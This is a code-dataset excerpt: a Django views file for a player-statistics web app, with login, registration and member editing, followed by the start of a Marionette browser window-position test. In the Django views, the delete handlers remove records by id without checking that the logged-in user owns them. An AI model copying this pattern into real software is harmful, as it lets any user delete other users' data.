"re.match", "line_number": 68, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 77, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 77, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 81, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 82, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 94, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 102, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 102, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 104, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 104, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 116, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 124, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 124, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 126, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 126, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 138, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 161, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 161, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 178, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 184, "usage_type": "call"}, {"api_name": "os.path", "line_number": 184, "usage_type": "attribute"}, {"api_name": "xml.sax.saxutils.XMLGenerator", "line_number": 185, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 197, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 242, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 242, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 288, "usage_type": "call"}, {"api_name": "pytz.utc.localize", "line_number": 315, "usage_type": "call"}, {"api_name": "pytz.utc", "line_number": 315, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 315, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 315, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 316, "usage_type": "call"}, {"api_name": "datetime.datetime.utcnow", "line_number": 328, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 328, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 332, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 332, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 343, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 345, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 345, "usage_type": "call"}, {"api_name": "os.path", "line_number": 345, "usage_type": "attribute"}, {"api_name": "hashlib.sha1", "line_number": 350, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 365, "usage_type": "call"}, {"api_name": "os.path", "line_number": 365, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 366, "usage_type": "call"}]}
{"seq_id": "2055689229", "text": "from django.shortcuts import render\n\n# Create your views here.\n\n############ MODELS #################\n\nfrom .models import Accounts\nfrom .models import Members\n\n\n############ FORMS #################\n\n# Accounts\nfrom main.forms import LoginForm\nfrom main.forms import RegisterForm\n\n\nfrom main.forms import MemberForm\nfrom main.forms import DeleteMemberForm\n\n\n############ IMPORTS #################\n\nfrom django.shortcuts import render, redirect\n\n# Create your views here.\nfrom django.http import HttpResponse, HttpResponseRedirect\n\nfrom django.db import connections\nfrom django.urls import reverse\n\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\n\nfrom django.contrib.auth.hashers import make_password, check_password\n\nfrom time import gmtime, strftime, mktime\n\nimport locale\n\nfrom django.db.models import Sum,Q\nfrom django.db.models import Count\n\nimport re\n\nimport stripe\n\nimport datetime\n\nfrom dateutil.relativedelta import relativedelta\nfrom django.http import Http404\nfrom dateutil import relativedelta as rdelta\nimport pandas as pd\n\nfrom django.core.mail import send_mail, send_mass_mail\nfrom django.core.mail import EmailMessage\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.core.files.storage import FileSystemStorage\n\n\nimport shutil\n\nfrom django.conf import settings\nfrom pathlib import Path\nfrom Crypto.Cipher import XOR\nimport base64\nimport os\n\nimport hashlib\n\nimport requests\n\nimport json\n\nfrom django.db.models import Avg, F, Max, Min, Window\n\nimport random\n\n\n############################# ERROR HANDLING #############################\n\ndef handler404(request, exception):\n\treturn render(request, 'error.html', status=404)\n\ndef handler500(request):\n\treturn render(request, 'error.html', status=500)\n\ndef handler400(request, exception):\n\treturn render(request, 'error.html', status=400)\n\ndef handler401(request):\n\treturn render(request, 'error.html', status=401)\n\ndef handler403(request, exception):\n\treturn render(request, 'error.html', status=403)\n\ndef handler503(request):\n\treturn render(request, 'error.html', status=503)\n\n\n############################# VIEW #############################\n\ndef member(request, id):\n\n\tsession_exist = check_session_exist(request)\n\tmessage = None\n\n\tif 'user_id' not in request.session:\n\t\treturn HttpResponseRedirect(reverse('login'))\n\n\tsession_user_id = request.session['user_id']\n\t\n\tmember = (Members.objects.filter(id=id))\n\tif len(member) == 0:\n\t\treturn HttpResponseRedirect(reverse('index'))\n\n\telse:\n\t\tmember = member[0]\n\n\tif request.method == \"POST\":\n\t\tif 'delete_btn' in request.POST:\n\t\t\tMembers.objects.filter(id=id).delete()\n\t\t\treturn HttpResponseRedirect(reverse('index'))\n\n\n\treturn render(      \n\t\t\t\t\trequest, \n\t\t\t\t\t'member.html', \n\t\t\t\t\t{\n\t\t\t\t\t\t\"session_exist\":session_exist,\n\t\t\t\t\t\t\"message\":message,\n\t\t\t\t\t\t\"id\":id,\n\t\t\t\t\t\t\"member\":member,\n\t\t\t\t\t\t\"session_user_id\":session_user_id,\n\t\t\t\t\t}\n\t\t\t\t)\n\n\ndef index(request):\n\n\tsession_exist = check_session_exist(request)\n\tmessage = None\n\n\tif 'user_id' not in request.session:\n\t\treturn HttpResponseRedirect(reverse('login'))\n\n\tsession_user_id = request.session['user_id']\n\n\tmembers = Members.objects.all().order_by('-averagescore')\n\n\tmembers_avgs_mean = Members.objects.aggregate(Avg('averagescore'))\n\tmembers_avgs_max = Members.objects.aggregate(Max('averagescore'))\n\tmembers_avgs_min = Members.objects.aggregate(Min('averagescore'))\n\n\tmembers_wins_mean = Members.objects.aggregate(Avg('wins'))\n\tmembers_wins_max = Members.objects.aggregate(Max('wins'))\n\tmembers_wins_min = Members.objects.aggregate(Min('wins'))\n\n\tmembers_losses_mean = Members.objects.aggregate(Avg('losses'))\n\tmembers_losses_max = Members.objects.aggregate(Max('losses'))\n\tmembers_losses_min = Members.objects.aggregate(Min('losses'))\n\n\tmembers_highestscore_mean = Members.objects.aggregate(Avg('highestscore'))\n\tmembers_highestscore_max = Members.objects.aggregate(Max('highestscore'))\n\tmembers_highestscore_min = Members.objects.aggregate(Min('highestscore'))\n\n\trecent_submission = Members.objects.aggregate(Max('date'))\n\n\tif request.method == \"POST\":\n\n\t\tif 'delete_btn' in request.POST:\n\n\t\t\tMyDeleteMemberForm = DeleteMemberForm(request.POST)\n\t\t\t  \n\t\t\tif MyDeleteMemberForm.is_valid():\n\t\t\t\tdelete_id = MyDeleteMemberForm.cleaned_data['delete_id']\n\n\t\t\t\tMembers.objects.filter(id=delete_id).delete()\n\n\t\t\t\treturn HttpResponseRedirect(reverse('index'))\n\t\t\t\t\n\t\t\telse:\n\t\t\t\tMyDeleteMemberForm = DeleteMemberForm()\n\n\n\treturn render(      \n\t\t\t\t\trequest, \n\t\t\t\t\t'index.html', \n\t\t\t\t\t{\n\t\t\t\t\t\t\"session_exist\":session_exist,\n\t\t\t\t\t\t\"message\":message,\n\t\t\t\t\t\t\"members\":members,\n\t\t\t\t\t\t\"members_avgs_mean\":members_avgs_mean,\n\t\t\t\t\t\t\"members_avgs_max\":members_avgs_max,\n\t\t\t\t\t\t\"members_avgs_min\":members_avgs_min,\n\n\t\t\t\t\t\t\"members_wins_mean\":members_wins_mean,\n\t\t\t\t\t\t\"members_wins_max\":members_wins_max,\n\t\t\t\t\t\t\"members_wins_min\":members_wins_min,\n\n\t\t\t\t\t\t\"members_losses_mean\":members_losses_mean,\n\t\t\t\t\t\t\"members_losses_max\":members_losses_max,\n\t\t\t\t\t\t\"members_losses_min\":members_losses_min,\n\n\t\t\t\t\t\t\"members_highestscore_mean\":members_highestscore_mean,\n\t\t\t\t\t\t\"members_highestscore_max\":members_highestscore_max,\n\t\t\t\t\t\t\"members_highestscore_min\":members_highestscore_min,\n\n\t\t\t\t\t\t\"recent_submission\":recent_submission,\n\n\t\t\t\t\t\t\"session_user_id\":session_user_id,\n\t\t\t\t\t}\n\t\t\t\t)\n\n\ndef add(request):\n\n\tsession_exist = check_session_exist(request)\n\tmessage = None\n\n\tif 'user_id' not in request.session:\n\t\treturn HttpResponseRedirect(reverse('login'))\n\n\tsession_user_id = request.session['user_id']\n\n\n\tif request.method == \"POST\":\n\t\t#Get the posted form\n\t\tMyMemberForm = MemberForm(request.POST)\n\t  \n\t\tif MyMemberForm.is_valid():\n\t\t\tfullname = MyMemberForm.cleaned_data['fullname']\n\t\t\twins = MyMemberForm.cleaned_data['wins']\n\t\t\tlosses = MyMemberForm.cleaned_data['losses']\n\t\t\taveragescore = MyMemberForm.cleaned_data['averagescore']\n\t\t\thighestscore = MyMemberForm.cleaned_data['highestscore']\n\t\t\tdate = MyMemberForm.cleaned_data['date']\n\t\t\tlocation = MyMemberForm.cleaned_data['location']\n\t\t\topponent = MyMemberForm.cleaned_data['opponent']\n\t\t\tcontact = MyMemberForm.cleaned_data['contact']\n\n\t\t\tadd_event = Members.objects.create(\n\t\t\t\tuser_id=session_user_id,\n\t\t\t\tfullname=fullname,\n\t\t\t\twins=wins,\n\t\t\t\tlosses=losses,\n\t\t\t\taveragescore=averagescore,\n\t\t\t\thighestscore=highestscore,\n\t\t\t\tdate=date,\n\t\t\t\tlocation=location,\n\t\t\t\topponent=opponent,\n\t\t\t\tcontact=contact,\n\n\t\t\t)\n\t\t\tadd_event.save()\n\n\t\t\treturn redirect( '/member/' + str(add_event.id) )\n\t\t\t\n\t\telse:\n\t\t\tmessage = \"Something went wrong, please try again.\"\n\telse:\n\t\tMyMemberForm = MemberForm()\n\n\treturn render(      \n\t\t\t\t\trequest, \n\t\t\t\t\t'add.html', \n\t\t\t\t\t{\n\t\t\t\t\t\t\"session_exist\":session_exist,\n\t\t\t\t\t\t\"message\":message,\n\t\t\t\t\t}\n\t\t\t\t)\n\n\ndef edit(request, id):\n\n\tsession_exist = check_session_exist(request)\n\tmessage = None\n\n\tif 'user_id' not in request.session:\n\t\treturn HttpResponseRedirect(reverse('login'))\n\n\tsession_user_id = request.session['user_id']\n\n\tmember = (Members.objects.filter(id=id,user_id=session_user_id))\n\tif len(member) == 0:\n\t\treturn HttpResponseRedirect(reverse('index'))\n\n\telse:\n\t\tmember = member[0]\n\n\tif request.method == \"POST\":\n\t\t#Get the posted form\n\t\tMyMemberForm = MemberForm(request.POST)\n\t  \n\t\tif MyMemberForm.is_valid():\n\t\t\tfullname = MyMemberForm.cleaned_data['fullname']\n\t\t\twins = MyMemberForm.cleaned_data['wins']\n\t\t\tlosses = MyMemberForm.cleaned_data['losses']\n\t\t\taveragescore = MyMemberForm.cleaned_data['averagescore']\n\t\t\thighestscore = MyMemberForm.cleaned_data['highestscore']\n\t\t\tdate = MyMemberForm.cleaned_data['date']\n\t\t\tlocation = MyMemberForm.cleaned_data['location']\n\t\t\topponent = MyMemberForm.cleaned_data['opponent']\n\t\t\tcontact = MyMemberForm.cleaned_data['contact']\n\n\t\t\tMembers.objects.filter(id=id, user_id=session_user_id).update(\n\t\t\t\tfullname=fullname,\n\t\t\t\twins=wins,\n\t\t\t\tlosses=losses,\n\t\t\t\taveragescore=averagescore,\n\t\t\t\thighestscore=highestscore,\n\t\t\t\tdate=date,\n\t\t\t\tlocation=location,\n\t\t\t\topponent=opponent,\n\t\t\t\tcontact=contact,\n\t\t\t)\n\n\t\t\treturn redirect( '/member/' + str(id) )\n\t\t\t\n\t\telse:\n\t\t\tmessage = \"Something went wrong, please try again.\"\n\telse:\n\t\tMyMemberForm = MemberForm()\n\n\treturn render(      \n\t\t\t\t\trequest, \n\t\t\t\t\t'edit.html', \n\t\t\t\t\t{\n\t\t\t\t\t\t\"session_exist\":session_exist,\n\t\t\t\t\t\t\"message\":message,\n\t\t\t\t\t\t\"id\":id,\n\t\t\t\t\t\t\"member\":member,\n\t\t\t\t\t}\n\t\t\t\t)\n\n\n############################# ACCOUNT ###################################\n\ndef logout(request):\n\ttry:\n\t\tdel request.session['user_id']\n\texcept:\n\t\tpass\n\t# return HttpResponseRedirect(reverse('index'))\n\treturn HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\n\ndef register(request):\n\n\tif 'user_id' in request.session:\n\t\treturn HttpResponseRedirect(reverse('index'))\n\n\tmessage = None\n\tsession_exist = check_session_exist(request)\n\tdate_submitted = strftime(\"%Y-%m-%d %H:%M:%S\", gmtime())\n\n\tif request.method == \"POST\":\n\t\t#Get the posted form\n\t\tMyRegisterForm = RegisterForm(request.POST)\n\t  \n\t\tif MyRegisterForm.is_valid():\n\t\t\temail = MyRegisterForm.cleaned_data['email']\n\t\t\tpassword = MyRegisterForm.cleaned_data['password']\n\n\t\t\tpassword_encrypt = make_password(password, \"generating_password\", \"pbkdf2_sha256\")\n\n\t\t\tcheck_exist = len(Accounts.objects.filter(email=email))\n\n\t\t\tif(check_exist > 0):\n\t\t\t\tmessage = \"This email already exist, please register with another email address.\"\n\t\t\telse:\n\n\t\t\t\tif re.match(r'^(?=.*[A-Za-z])(?=.*\\d)(?=.*[@$!%*#?&])[A-Za-z\\d@$!%*#?&]{8,}$', password):\n\n\t\t\t\t\taccount_add_event = Accounts.objects.create(\n\t\t\t\t\t\temail=email,\n\t\t\t\t\t\tpassword=password_encrypt,\n\t\t\t\t\t\tdate_submitted=date_submitted\n\t\t\t\t\t)\n\t\t\t\t\taccount_add_event.save()\n\n\t\t\t\t\trequest.session['user_id'] = account_add_event.id\n\t\t\t\t\tsession_user_id = request.session['user_id']\n\n\t\t\t\t\treturn HttpResponseRedirect(reverse('index'))\n\n\t\t\t\telse:\n\t\t\t\t\tmessage = \"Your password must be 8 characters, one letter, one number and one special character\"\n\t\telse:\n\t\t\tmessage = \"Please fill in all parts of the form\"\n\telse:\n\t\tMyRegisterForm = RegisterForm()\n\n\n\treturn render(request, 'register.html', {\n\t\t\"message\" : message,\n\t\t\"session_exist\":session_exist,\n\t\t})\n\n\ndef login(request):\n\n\tif 'user_id' in request.session:\n\t\treturn HttpResponseRedirect(reverse('index'))\n\n\tmessage = None\n\tsession_exist = check_session_exist(request)\n\tsession_user_id = None\n\n\tif request.method == \"POST\":\n\t\t#Get the posted form\n\t\tMyLoginForm = LoginForm(request.POST)\n\t  \n\t\tif MyLoginForm.is_valid():\n\t\t\temail = MyLoginForm.cleaned_data['email']\n\t\t\tpassword = MyLoginForm.cleaned_data['password']\n\t\t\tpassword_encrypt = False\n\n\t\t\tcheck_email_amount_query = len(Accounts.objects.filter(email=email))\n\t\t\tif(check_email_amount_query > 0):\n\t\t\t\tcheck_email_query = (Accounts.objects.get(email=email))\n\t\t\t\tpassword_encrypt = check_password(password, check_email_query.password)\n\t\t\telse:\n\t\t\t\tmessage = \"This account does not exist\"\n\n\n\t\t\tif(password_encrypt == True):\n\t\t\t\tcheck_exist_query = len(Accounts.objects.filter(email=email, password=password_encrypt))\n\n\t\t\t\tuser_id_query = Accounts.objects.get(email=email)\n\t\t\t\trequest.session['user_id'] = user_id_query.id\n\t\t\t\tsession_user_id = request.session['user_id']\n\n\t\t\t\treturn HttpResponseRedirect(reverse('index'))\n\t\t\telse:\n\t\t\t\tmessage = \"Please login with your account details\"\n\t\telse:\n\t\t\tmessage = \"Please login with your account details\"\n\telse:\n\t\tMyLoginForm = LoginForm()\n\n\treturn render(request, 'login.html', {\n\t\t\"message\" : message, \n\t\t\"session_exist\":session_exist,\n\t\t\"session_user_id\" : session_user_id,\n\t\t})\n\n\n############################# OTHERS ###################################\n\ndef check_session_exist(request):\n\n\tsession_exist = False\n\n\tif 'user_id' in request.session:\n\t\tsession_exist = True\n\n\treturn session_exist\n\n\n", "repo_name": "azhan10/elder_challenge", "sub_path": "website/main/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 11623, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.shortcuts.render", "line_number": 84, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 87, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 90, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 93, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 96, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 99, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 110, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 110, "usage_type": "call"}, {"api_name": "models.Members.objects.filter", "line_number": 114, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 114, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 114, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 116, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 116, "usage_type": "call"}, {"api_name": "models.Members.objects.filter", "line_number": 123, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 123, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 123, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 124, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 124, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 127, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 146, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 146, "usage_type": "call"}, {"api_name": "models.Members.objects.all", "line_number": 150, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 150, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 150, "usage_type": "name"}, {"api_name": "models.Members.objects.aggregate", "line_number": 152, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 152, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 152, "usage_type": "name"}, {"api_name": "django.db.models.Avg", "line_number": 152, "usage_type": "call"}, {"api_name": "models.Members.objects.aggregate", "line_number": 153, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 153, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 153, "usage_type": "name"}, {"api_name": "django.db.models.Max", "line_number": 153, "usage_type": "call"}, {"api_name": "models.Members.objects.aggregate", "line_number": 154, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 154, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 154, "usage_type": "name"}, {"api_name": "django.db.models.Min", "line_number": 154, "usage_type": "call"}, {"api_name": "models.Members.objects.aggregate", "line_number": 156, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 156, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 156, "usage_type": "name"}, {"api_name": "django.db.models.Avg", "line_number": 156, "usage_type": "call"}, {"api_name": "models.Members.objects.aggregate", "line_number": 157, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 157, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 157, "usage_type": "name"}, {"api_name": "django.db.models.Max", "line_number": 157, "usage_type": "call"}, {"api_name": "models.Members.objects.aggregate", "line_number": 158, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 158, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 158, "usage_type": "name"}, {"api_name": "django.db.models.Min", "line_number": 158, "usage_type": "call"}, {"api_name": "models.Members.objects.aggregate", "line_number": 160, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 160, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 160, "usage_type": "name"}, {"api_name": "django.db.models.Avg", "line_number": 160, "usage_type": "call"}, {"api_name": "models.Members.objects.aggregate", "line_number": 161, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 161, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 161, "usage_type": "name"}, {"api_name": "django.db.models.Max", "line_number": 161, "usage_type": "call"}, {"api_name": "models.Members.objects.aggregate", "line_number": 162, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 162, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 162, "usage_type": "name"}, {"api_name": "django.db.models.Min", "line_number": 162, "usage_type": "call"}, {"api_name": "models.Members.objects.aggregate", "line_number": 164, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 164, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 164, "usage_type": "name"}, {"api_name": "django.db.models.Avg", "line_number": 164, "usage_type": "call"}, {"api_name": "models.Members.objects.aggregate", "line_number": 165, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 165, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 165, "usage_type": "name"}, {"api_name": "django.db.models.Max", "line_number": 165, "usage_type": "call"}, {"api_name": "models.Members.objects.aggregate", "line_number": 166, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 166, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 166, "usage_type": "name"}, {"api_name": "django.db.models.Min", "line_number": 166, "usage_type": "call"}, {"api_name": "models.Members.objects.aggregate", "line_number": 168, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 168, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 168, "usage_type": "name"}, {"api_name": "django.db.models.Max", "line_number": 168, "usage_type": "call"}, {"api_name": "main.forms.DeleteMemberForm", "line_number": 174, "usage_type": "call"}, {"api_name": "models.Members.objects.filter", "line_number": 179, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 179, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 179, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 181, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 181, "usage_type": "call"}, {"api_name": "main.forms.DeleteMemberForm", "line_number": 184, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 187, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 223, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 223, "usage_type": "call"}, {"api_name": "main.forms.MemberForm", "line_number": 230, "usage_type": "call"}, {"api_name": "models.Members.objects.create", "line_number": 243, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 243, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 243, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 258, "usage_type": "call"}, {"api_name": "main.forms.MemberForm", "line_number": 263, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 265, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 281, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 281, "usage_type": "call"}, {"api_name": "models.Members.objects.filter", "line_number": 285, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 285, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 285, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 287, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 287, "usage_type": "call"}, {"api_name": "main.forms.MemberForm", "line_number": 294, "usage_type": "call"}, {"api_name": "models.Members.objects.filter", "line_number": 307, "usage_type": "call"}, {"api_name": "models.Members.objects", "line_number": 307, "usage_type": "attribute"}, {"api_name": "models.Members", "line_number": 307, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 319, "usage_type": "call"}, {"api_name": "main.forms.MemberForm", "line_number": 324, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 326, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 346, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 351, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 351, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 355, "usage_type": "call"}, {"api_name": "time.gmtime", "line_number": 355, "usage_type": "call"}, {"api_name": "main.forms.RegisterForm", "line_number": 359, "usage_type": "call"}, {"api_name": "django.contrib.auth.hashers.make_password", "line_number": 365, "usage_type": "call"}, {"api_name": "models.Accounts.objects.filter", "line_number": 367, "usage_type": "call"}, {"api_name": "models.Accounts.objects", "line_number": 367, "usage_type": "attribute"}, {"api_name": "models.Accounts", "line_number": 367, "usage_type": "name"}, {"api_name": "re.match", "line_number": 373, "usage_type": "call"}, {"api_name": "models.Accounts.objects.create", "line_number": 375, "usage_type": "call"}, {"api_name": "models.Accounts.objects", "line_number": 375, "usage_type": "attribute"}, {"api_name": "models.Accounts", "line_number": 375, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 385, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 385, "usage_type": "call"}, {"api_name": "main.forms.RegisterForm", "line_number": 392, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 395, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 404, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 404, "usage_type": "call"}, {"api_name": "main.forms.LoginForm", "line_number": 412, "usage_type": "call"}, {"api_name": "models.Accounts.objects.filter", "line_number": 419, "usage_type": "call"}, {"api_name": "models.Accounts.objects", "line_number": 419, "usage_type": "attribute"}, {"api_name": "models.Accounts", "line_number": 419, "usage_type": "name"}, {"api_name": "models.Accounts.objects.get", "line_number": 421, "usage_type": "call"}, {"api_name": "models.Accounts.objects", "line_number": 421, "usage_type": "attribute"}, {"api_name": "models.Accounts", "line_number": 421, "usage_type": "name"}, {"api_name": "django.contrib.auth.hashers.check_password", "line_number": 422, "usage_type": "call"}, {"api_name": "models.Accounts.objects.filter", "line_number": 428, "usage_type": "call"}, {"api_name": "models.Accounts.objects", "line_number": 428, "usage_type": "attribute"}, {"api_name": "models.Accounts", "line_number": 428, "usage_type": "name"}, {"api_name": "models.Accounts.objects.get", "line_number": 430, "usage_type": "call"}, {"api_name": "models.Accounts.objects", "line_number": 430, "usage_type": "attribute"}, {"api_name": "models.Accounts", "line_number": 430, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 434, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 434, "usage_type": "call"}, {"api_name": "main.forms.LoginForm", "line_number": 440, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 442, "usage_type": "call"}]}
{"seq_id": "20740517996", "text": "# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nfrom marionette_driver.errors import InvalidArgumentException\n\nfrom marionette_harness import MarionetteTestCase\n\n\nclass TestPosition(MarionetteTestCase):\n\n    def setUp(self):\n        MarionetteTestCase.setUp(self)\n        self.original_position = self.marionette.get_window_position()\n\n    def tearDown(self):\n        x, y = self.original_position[\"x\"], self.original_position[\"y\"]\n        self.marionette.set_window_position(x, y)\n        MarionetteTestCase.tearDown(self)\n\n    def test_get_types(self):\n        position = self.marionette.get_window_position()\n        self.assertIn(\"x\", position)\n        self.assertIn(\"y\", position)\n        self.assertIsInstance(position[\"x\"], int)\n        self.assertIsInstance(position[\"y\"], int)\n\n    def test_set_types(self):\n        for x, y in ([\"a\", \"b\"], [1.2, 3.4], [True, False], [[], []], [{}, {}]):\n            print(\"testing invalid type position ({},{})\".format(x, y))\n            with self.assertRaises(InvalidArgumentException):\n                self.marionette.set_window_position(x, y)\n\n    def test_setting_window_rect_with_nulls_errors(self):\n        with self.assertRaises(InvalidArgumentException):\n            self.marionette.set_window_rect(height=None, width=None,\n                                            x=None, y=None)\n\n    def test_set_position_with_rect(self):\n        old_position = self.marionette.window_rect\n        wanted_position = {\"x\": old_position[\"x\"] + 10, \"y\": old_position[\"y\"] + 10}\n\n        new_position = self.marionette.set_window_rect(x=wanted_position[\"x\"], y=wanted_position[\"y\"])\n\n        self.assertNotEqual(old_position[\"x\"], new_position[\"x\"])\n        self.assertNotEqual(old_position[\"y\"], new_position[\"y\"])\n\n    def test_move_to_new_position(self):\n        old_position = self.marionette.get_window_position()\n        new_position = {\"x\": old_position[\"x\"] + 10, \"y\": old_position[\"y\"] + 10}\n        self.marionette.set_window_position(new_position[\"x\"], new_position[\"y\"])\n        self.assertNotEqual(old_position[\"x\"], new_position[\"x\"])\n        self.assertNotEqual(old_position[\"y\"], new_position[\"y\"])\n\n    def test_move_to_existing_position(self):\n        old_position = self.marionette.get_window_position()\n        self.marionette.set_window_position(old_position[\"x\"], old_position[\"y\"])\n        new_position = self.marionette.get_window_position()\n        self.assertEqual(old_position[\"x\"], new_position[\"x\"])\n        self.assertEqual(old_position[\"y\"], new_position[\"y\"])\n\n    def test_move_to_negative_coordinates(self):\n        print(\"Current position: {}\".format(\n            self.marionette.get_window_position()))\n        self.marionette.set_window_position(-8, -8)\n        position = self.marionette.get_window_position()\n        print(\"Position after requesting move to negative coordinates: {}\".format(position))\n\n        # Different systems will report more or less than (-8,-8)\n        # depending on the characteristics of the window manager, since\n        # the screenX/screenY position measures the chrome boundaries,\n        # including any WM decorations.\n        #\n        